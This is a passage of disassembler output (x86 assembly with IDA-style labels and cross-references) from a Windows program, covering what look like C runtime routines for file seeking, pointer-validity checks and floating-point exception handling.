		jmp	short loc_4161DB
; ---------------------------------------------------------------------------


loc_4161D8:				; CODE XREF: sub_41602F+30j
		mov	ebx, [ebp+var_48]


loc_4161DB:				; CODE XREF: sub_41602F+123j
					; sub_41602F+144j ...
		cmp	[ebp+var_24], edi
		jz	short loc_4161E7
		push	ebx
		call	sub_40E359
		pop	ecx


loc_4161E7:				; CODE XREF: sub_41602F+1AFj
		mov	eax, [ebp+var_20]


loc_4161EA:				; CODE XREF: sub_41602F+102j
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_411BA5
		call	__SEH_epilog
		retn
sub_41602F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161FE	proc near		; CODE XREF: sub_41330B+68p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4C5DA0
		push	esi
		push	edi
		jnb	short loc_416282
		mov	ecx, eax
		sar	ecx, 5
		mov	esi, eax
		and	esi, 1Fh
		lea	edi, ds:4C5DC0h[ecx*4]
		mov	ecx, [edi]
		shl	esi, 3
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_416282
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_8]
		push	eax
		mov	[ebp+var_4], ecx
		call	sub_415FAA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416289
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	dword_419114	; SetFilePointer
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_416271
		call	dword_4190AC	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_416271
		push	eax
		call	sub_412BBA
		pop	ecx
		jmp	short loc_416293
; ---------------------------------------------------------------------------


loc_416271:				; CODE XREF: sub_4161FE+5Ej
					; sub_4161FE+68j
		mov	eax, [edi]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		jmp	short loc_416299
; ---------------------------------------------------------------------------


loc_416282:				; CODE XREF: sub_4161FE+10j
					; sub_4161FE+2Dj
		and	dword_4C5908, 0


loc_416289:				; CODE XREF: sub_4161FE+45j
		mov	dword_4C5904, 9


loc_416293:				; CODE XREF: sub_4161FE+71j
		or	eax, 0FFFFFFFFh
		or	edx, 0FFFFFFFFh


loc_416299:				; CODE XREF: sub_4161FE+82j
		pop	edi
		pop	esi
		leave
		retn
sub_4161FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41629D	proc near		; CODE XREF: sub_4139C1+53p
					; sub_4139C1+8Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	dword_419188	; IsBadReadPtr
		test	eax, eax
		jz	short loc_4162B5
		xor	esi, esi


loc_4162B5:				; CODE XREF: sub_41629D+14j
		mov	eax, esi
		pop	esi
		retn
sub_41629D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162B9	proc near		; CODE XREF: sub_4139C1+65p
					; sub_4139C1+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	dword_41916C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_4162D1
		xor	esi, esi


loc_4162D1:				; CODE XREF: sub_4162B9+14j
		mov	eax, esi
		pop	esi
		retn
sub_4162B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162D5	proc near		; CODE XREF: sub_4139C1+128p
					; sub_41437B+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		xor	esi, esi
		inc	esi
		call	dword_41918C	; IsBadCodePtr
		test	eax, eax
		jz	short loc_4162E9
		xor	esi, esi


loc_4162E9:				; CODE XREF: sub_4162D5+10j
		mov	eax, esi
		pop	esi
		retn
sub_4162D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_413EDF


loc_4162ED:				; CODE XREF: sub_413EDF:loc_413F07j
		push	0Ah
		call	sub_4144B2
		push	16h
		call	sub_41784C
		pop	ecx
		pop	ecx
		push	3
		call	sub_40DE75
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_413EDF

; =============== S U B	R O U T	I N E =======================================



sub_416305	proc near		; CODE XREF: sub_413F8C+11Dp
					; sub_413F8C+1D8p ...
		xor	eax, eax
		retn
sub_416305	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416308	proc near		; CODE XREF: sub_416914+4Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		push	esi
		inc	ebx
		test	cl, 10h
		push	edi
		jz	short loc_41633A
		mov	eax, [ebp+arg_0]
		or	[eax+4], ebx
		mov	[ebp+arg_8], 0C000008Fh


loc_41633A:				; CODE XREF: sub_416308+23j
		test	cl, 2
		jz	short loc_41634D
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 2
		mov	[ebp+arg_8], 0C0000093h


loc_41634D:				; CODE XREF: sub_416308+35j
		test	cl, bl
		jz	short loc_41635F
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 4
		mov	[ebp+arg_8], 0C0000091h


loc_41635F:				; CODE XREF: sub_416308+47j
		test	cl, 4
		jz	short loc_416372
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8
		mov	[ebp+arg_8], 0C000008Eh


loc_416372:				; CODE XREF: sub_416308+5Aj
		test	cl, 8
		jz	short loc_416385
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 10h
		mov	[ebp+arg_8], 0C0000090h


loc_416385:				; CODE XREF: sub_416308+6Dj
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 4
		not	ecx
		xor	ecx, [eax+8]
		push	2
		and	ecx, 10h
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		pop	edi
		and	ecx, 8
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 4
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 3
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, edi
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 5
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, ebx
		xor	[eax+8], ecx
		call	sub_416B24
		test	al, bl
		jz	short loc_4163F6
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4163F6:				; CODE XREF: sub_416308+E5j
		test	al, 4
		jz	short loc_416401
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_416401:				; CODE XREF: sub_416308+F0j
		test	al, 8
		jz	short loc_41640C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41640C:				; CODE XREF: sub_416308+FBj
		test	al, 10h
		jz	short loc_416416
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_416416:				; CODE XREF: sub_416308+106j
		test	al, 20h
		jz	short loc_416420
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_416420:				; CODE XREF: sub_416308+110j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41645F
		cmp	eax, 400h
		jz	short loc_416451
		cmp	eax, 800h
		jz	short loc_416445
		cmp	eax, ecx
		jnz	short loc_416465
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_416465
; ---------------------------------------------------------------------------


loc_416445:				; CODE XREF: sub_416308+12Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41645B
; ---------------------------------------------------------------------------


loc_416451:				; CODE XREF: sub_416308+128j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41645B:				; CODE XREF: sub_416308+147j
		mov	[eax], ecx
		jmp	short loc_416465
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_416308+121j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_416465:				; CODE XREF: sub_416308+133j
					; sub_416308+13Bj ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_416490
		cmp	eax, 200h
		jz	short loc_416483
		cmp	eax, ecx
		jnz	short loc_41649D
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41649D
; ---------------------------------------------------------------------------


loc_416483:				; CODE XREF: sub_416308+16Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41649B
; ---------------------------------------------------------------------------


loc_416490:				; CODE XREF: sub_416308+166j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41649B:				; CODE XREF: sub_416308+186j
		mov	[eax], ecx


loc_41649D:				; CODE XREF: sub_416308+171j
					; sub_416308+179j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		shl	ecx, 5
		xor	ecx, [eax]
		and	ecx, 1FFE0h
		xor	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+60h], ecx
		fld	qword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+50h]
		call	sub_416B31
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_4191C0	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41650F
		and	dword ptr [esi], 0FFFFFFFEh


loc_41650F:				; CODE XREF: sub_416308+202j
		test	byte ptr [eax+8], 8
		jz	short loc_416518
		and	dword ptr [esi], 0FFFFFFFBh


loc_416518:				; CODE XREF: sub_416308+20Bj
		test	byte ptr [eax+8], 4
		jz	short loc_416521
		and	dword ptr [esi], 0FFFFFFF7h


loc_416521:				; CODE XREF: sub_416308+214j
		test	byte ptr [eax+8], 2
		jz	short loc_41652A
		and	dword ptr [esi], 0FFFFFFEFh


loc_41652A:				; CODE XREF: sub_416308+21Dj
		test	[eax+8], bl
		jz	short loc_416532
		and	dword ptr [esi], 0FFFFFFDFh


loc_416532:				; CODE XREF: sub_416308+225j
		mov	ecx, [eax]
		and	ecx, 3
		sub	ecx, 0
		mov	edx, 0FFFFF3FFh
		jz	short loc_416572
		dec	ecx
		jz	short loc_416560
		dec	ecx
		jz	short loc_416550
		dec	ecx
		jnz	short loc_416574
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_416574
; ---------------------------------------------------------------------------


loc_416550:				; CODE XREF: sub_416308+23Dj
		mov	ecx, [esi]
		and	ecx, 0FFFFFBFFh
		or	ecx, 800h
		jmp	short loc_41656E
; ---------------------------------------------------------------------------


loc_416560:				; CODE XREF: sub_416308+23Aj
		mov	ecx, [esi]
		and	ecx, 0FFFFF7FFh
		or	ecx, 400h


loc_41656E:				; CODE XREF: sub_416308+256j
		mov	[esi], ecx
		jmp	short loc_416574
; ---------------------------------------------------------------------------


loc_416572:				; CODE XREF: sub_416308+237j
		and	[esi], edx


loc_416574:				; CODE XREF: sub_416308+240j
					; sub_416308+246j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_416597
		dec	ecx
		jz	short loc_41658B
		dec	ecx
		jnz	short loc_4165A3
		and	[esi], edx
		jmp	short loc_4165A3
; ---------------------------------------------------------------------------


loc_41658B:				; CODE XREF: sub_416308+27Aj
		mov	ecx, [esi]
		and	ecx, edx
		or	ecx, 200h
		jmp	short loc_4165A1
; ---------------------------------------------------------------------------


loc_416597:				; CODE XREF: sub_416308+277j
		mov	ecx, [esi]
		and	ecx, edx
		or	ecx, 300h


loc_4165A1:				; CODE XREF: sub_416308+28Dj
		mov	[esi], ecx


loc_4165A3:				; CODE XREF: sub_416308+27Dj
					; sub_416308+281j
		fld	qword ptr [eax+50h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165AD	proc near		; CODE XREF: sub_416914+25p

var_28		= qword	ptr -28h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, eax
		and	esi, 1Fh
		inc	ebx
		test	al, 8
		mov	[ebp+var_4], esi
		jz	short loc_4165DB
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4165DB
		push	ebx
		call	sub_416B63
		pop	ecx
		and	esi, 0FFFFFFF7h
		jmp	loc_4167AD
; ---------------------------------------------------------------------------


loc_4165DB:				; CODE XREF: sub_4165AD+18j
					; sub_4165AD+1Dj
		test	al, 4
		jz	short loc_4165F5
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4165F5
		push	4
		call	sub_416B63
		pop	ecx
		and	esi, 0FFFFFFFBh
		jmp	loc_4167AD
; ---------------------------------------------------------------------------


loc_4165F5:				; CODE XREF: sub_4165AD+30j
					; sub_4165AD+36j
		test	al, bl
		jz	loc_4166D5
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4166D5
		push	8
		call	sub_416B63
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	ecx, 0C00h
		and	eax, ecx
		jz	loc_4166AB
		cmp	eax, 400h
		jz	short loc_416681
		cmp	eax, 800h
		jz	short loc_416657
		cmp	eax, ecx
		jnz	loc_4166CD
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41BC80
		fld	dbl_421768
		fnstsw	ax
		test	ah, 41h
		jz	short loc_41664F
		fchs


loc_41664F:				; CODE XREF: sub_4165AD+9Ej
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_4166CB
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_4165AD+7Ej
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41BC80
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_416671
		fld	dbl_421758
		jmp	short loc_416679
; ---------------------------------------------------------------------------


loc_416671:				; CODE XREF: sub_4165AD+BAj
		fld	dbl_421768
		fchs


loc_416679:				; CODE XREF: sub_4165AD+C2j
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_4166CB
; ---------------------------------------------------------------------------


loc_416681:				; CODE XREF: sub_4165AD+77j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41BC80
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41669B
		fld	dbl_421768
		jmp	short loc_4166A3
; ---------------------------------------------------------------------------


loc_41669B:				; CODE XREF: sub_4165AD+E4j
		fld	dbl_421758
		fchs


loc_4166A3:				; CODE XREF: sub_4165AD+ECj
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_4166CB
; ---------------------------------------------------------------------------


loc_4166AB:				; CODE XREF: sub_4165AD+6Cj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41BC80
		fld	dbl_421758
		fnstsw	ax
		test	ah, 41h
		jz	short loc_4166C5
		fchs


loc_4166C5:				; CODE XREF: sub_4165AD+114j
		fstp	[ebp+var_10]
		fld	[ebp+var_10]


loc_4166CB:				; CODE XREF: sub_4165AD+A8j
					; sub_4165AD+D2j ...
		fstp	qword ptr [ecx]


loc_4166CD:				; CODE XREF: sub_4165AD+82j
		and	esi, 0FFFFFFFEh
		jmp	loc_4167AD
; ---------------------------------------------------------------------------


loc_4166D5:				; CODE XREF: sub_4165AD+4Aj
					; sub_4165AD+54j
		test	al, 2
		jz	loc_4167AD
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4167AD
		xor	esi, esi
		test	al, 10h
		jz	short loc_4166EF
		mov	esi, ebx


loc_4166EF:				; CODE XREF: sub_4165AD+13Ej
		push	edi
		mov	edi, [ebp+arg_4]
		fld	qword ptr [edi]
		fcomp	dbl_41BC80
		fnstsw	ax
		test	ah, 44h
		jnp	loc_416797
		fld	qword ptr [edi]
		lea	eax, [ebp+var_8]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+28h+var_28]
		call	sub_416A6A
		mov	ecx, [ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		add	ecx, 0FFFFFA00h
		add	esp, 0Ch
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41673A
		fmul	dbl_41BC80
		mov	esi, ebx
		jmp	short loc_41678D
; ---------------------------------------------------------------------------


loc_41673A:				; CODE XREF: sub_4165AD+181j
		fcomp	dbl_41BC80
		fnstsw	ax
		test	ah, 5
		jp	short loc_41674B
		mov	edx, ebx
		jmp	short loc_41674D
; ---------------------------------------------------------------------------


loc_41674B:				; CODE XREF: sub_4165AD+198j
		xor	edx, edx


loc_41674D:				; CODE XREF: sub_4165AD+19Cj
		xor	eax, eax
		mov	al, byte ptr [ebp+var_10+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	word ptr [ebp+var_10+6], ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_416784
		sub	eax, ecx


loc_416767:				; CODE XREF: sub_4165AD+1D5j
		test	byte ptr [ebp+var_10], bl
		jz	short loc_416772
		test	esi, esi
		jnz	short loc_416772
		mov	esi, ebx


loc_416772:				; CODE XREF: sub_4165AD+1BDj
					; sub_4165AD+1C1j
		shr	dword ptr [ebp+var_10],	1
		test	byte ptr [ebp+var_10+4], bl
		jz	short loc_41677E
		or	byte ptr [ebp+var_10+3], 80h


loc_41677E:				; CODE XREF: sub_4165AD+1CBj
		shr	dword ptr [ebp+var_10+4], 1
		dec	eax
		jnz	short loc_416767


loc_416784:				; CODE XREF: sub_4165AD+1B6j
		test	edx, edx
		jz	short loc_416790
		fld	[ebp+var_10]
		fchs


loc_41678D:				; CODE XREF: sub_4165AD+18Bj
		fstp	[ebp+var_10]


loc_416790:				; CODE XREF: sub_4165AD+1D9j
		fld	[ebp+var_10]
		fstp	qword ptr [edi]
		jmp	short loc_416799
; ---------------------------------------------------------------------------


loc_416797:				; CODE XREF: sub_4165AD+153j
		mov	esi, ebx


loc_416799:				; CODE XREF: sub_4165AD+1E8j
		test	esi, esi
		pop	edi
		jz	short loc_4167A6
		push	10h
		call	sub_416B63
		pop	ecx


loc_4167A6:				; CODE XREF: sub_4165AD+1EFj
		and	[ebp+var_4], 0FFFFFFFDh
		mov	esi, [ebp+var_4]


loc_4167AD:				; CODE XREF: sub_4165AD+29j
					; sub_4165AD+43j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4167C4
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4167C4
		push	20h
		call	sub_416B63
		pop	ecx
		and	esi, 0FFFFFFEFh


loc_4167C4:				; CODE XREF: sub_4165AD+204j
					; sub_4165AD+20Aj
		xor	eax, eax
		test	esi, esi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4165AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167CF	proc near		; CODE XREF: sub_416822+6Cp
					; sub_416822+93p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_4167EA
		jle	short locret_4167F4
		cmp	eax, 3
		jg	short locret_4167F4
		mov	dword_4C5904, 22h
		retn
; ---------------------------------------------------------------------------


loc_4167EA:				; CODE XREF: sub_4167CF+7j
		mov	dword_4C5904, 21h

locret_4167F4:				; CODE XREF: sub_4167CF+9j
					; sub_4167CF+Ej
		retn
sub_4167CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167F5	proc near		; CODE XREF: sub_416914+58p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_416801
		push	5
		jmp	short loc_416817
; ---------------------------------------------------------------------------


loc_416801:				; CODE XREF: sub_4167F5+6j
		test	al, 8
		jz	short loc_416809
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_416809:				; CODE XREF: sub_4167F5+Ej
		test	al, 4
		jz	short loc_416811
		push	2
		jmp	short loc_416817
; ---------------------------------------------------------------------------


loc_416811:				; CODE XREF: sub_4167F5+16j
		test	al, 1
		jz	short loc_416819
		push	3


loc_416817:				; CODE XREF: sub_4167F5+Aj
					; sub_4167F5+1Aj
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_416819:				; CODE XREF: sub_4167F5+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_4167F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416822(int,int,int,int,int,int,double,int)

sub_416822	proc near		; CODE XREF: sub_4168C2+2Ap
					; sub_416914+8Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax


loc_41682A:				; CODE XREF: sub_416822+18j
		mov	ecx, dword_421670[eax*8]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_41689C
		inc	eax
		cmp	eax, 1Dh
		jl	short loc_41682A
		xor	eax, eax


loc_41683E:				; CODE XREF: sub_416822+81j
		test	eax, eax
		mov	[ebp+var_1C], eax
		jz	short loc_4168A5
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_416B3F
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416305
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416896
		push	esi
		call	sub_4167CF
		add	esp, 4


loc_416896:				; CODE XREF: sub_416822+69j
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41689C:				; CODE XREF: sub_416822+12j
		mov	eax, off_421674[eax*8]
		jmp	short loc_41683E
; ---------------------------------------------------------------------------


loc_4168A5:				; CODE XREF: sub_416822+21j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_416B3F
		push	[ebp+arg_0]
		call	sub_4167CF
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_416822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4168C2(int,double,int)

sub_4168C2	proc near		; CODE XREF: sub_4142AA+51p
					; sub_4143E1+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_421668, 0
		jnz	short loc_4168F6
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		sub	esp, 18h
		fstp	[esp+1Ch+var_C]
		fldz
		fstp	[esp+1Ch+var_14]
		fld	[ebp+arg_4]
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_416822
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4168F6:				; CODE XREF: sub_4168C2+Aj
		push	0FFFFh
		push	[ebp+arg_C]
		mov	dword_4C5904, 21h
		call	sub_416B3F
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4168C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416914(int,int,double,double,int)

sub_416914	proc near		; CODE XREF: sub_4142AA:loc_41436Fp
					; sub_4143E1:loc_4144A6p

var_9C		= qword	ptr -9Ch
var_94		= qword	ptr -94h
var_8C		= qword	ptr -8Ch
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_40		= dword	ptr -40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF0h
		sub	esp, 80h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	[ebp+arg_18]
		mov	[esp+84h+var_4], eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_4165AD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416969
		and	[esp+80h+var_40], 0FFFFFFFEh
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [esp+94h+var_80]
		push	eax
		call	sub_416308
		add	esp, 18h


loc_416969:				; CODE XREF: sub_416914+2Fj
		push	[ebp+arg_0]
		call	sub_4167F5
		add	esp, 4
		cmp	dword_421668, 0
		jnz	short loc_4169A8
		test	eax, eax
		jz	short loc_4169A8
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		sub	esp, 18h
		fstp	[esp+9Ch+var_8C]
		fldz
		fstp	[esp+9Ch+var_94]
		fld	[ebp+arg_8]
		fstp	[esp+9Ch+var_9C]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_416822
		add	esp, 24h
		jmp	short loc_4169C2
; ---------------------------------------------------------------------------


loc_4169A8:				; CODE XREF: sub_416914+67j
					; sub_416914+6Bj
		push	eax
		call	sub_4167CF
		mov	[esp+84h+var_84], 0FFFFh
		push	[ebp+arg_18]
		call	sub_416B3F
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx


loc_4169C2:				; CODE XREF: sub_416914+92j
		mov	ecx, [esp+80h+var_4]
		xor	ecx, [ebp+4]
		call	sub_411BA5
		mov	esp, ebp
		pop	ebp
		retn
sub_416914	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4169D2(double)

sub_4169D2	proc near		; CODE XREF: sub_4142AA:loc_414330p
					; sub_4143E1:loc_414467p

var_8		= qword	ptr -8
arg_0		= qword	ptr  4

		push	ecx
		push	ecx
		fld	[esp+8+arg_0]
		frndint
		fstp	[esp+8+var_8]
		fld	[esp+8+var_8]
		pop	ecx
		pop	ecx
		retn
sub_4169D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4169E5(double,int)

sub_4169E5	proc near		; CODE XREF: sub_416A6A+80p
					; sub_416A6A+93p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		fld	[ebp+arg_0]
		mov	ecx, dword ptr [ebp+arg_0+6]
		fstp	[ebp+var_8]
		add	eax, 3FEh
		shl	eax, 4
		and	ecx, 0FFFF800Fh
		or	eax, ecx
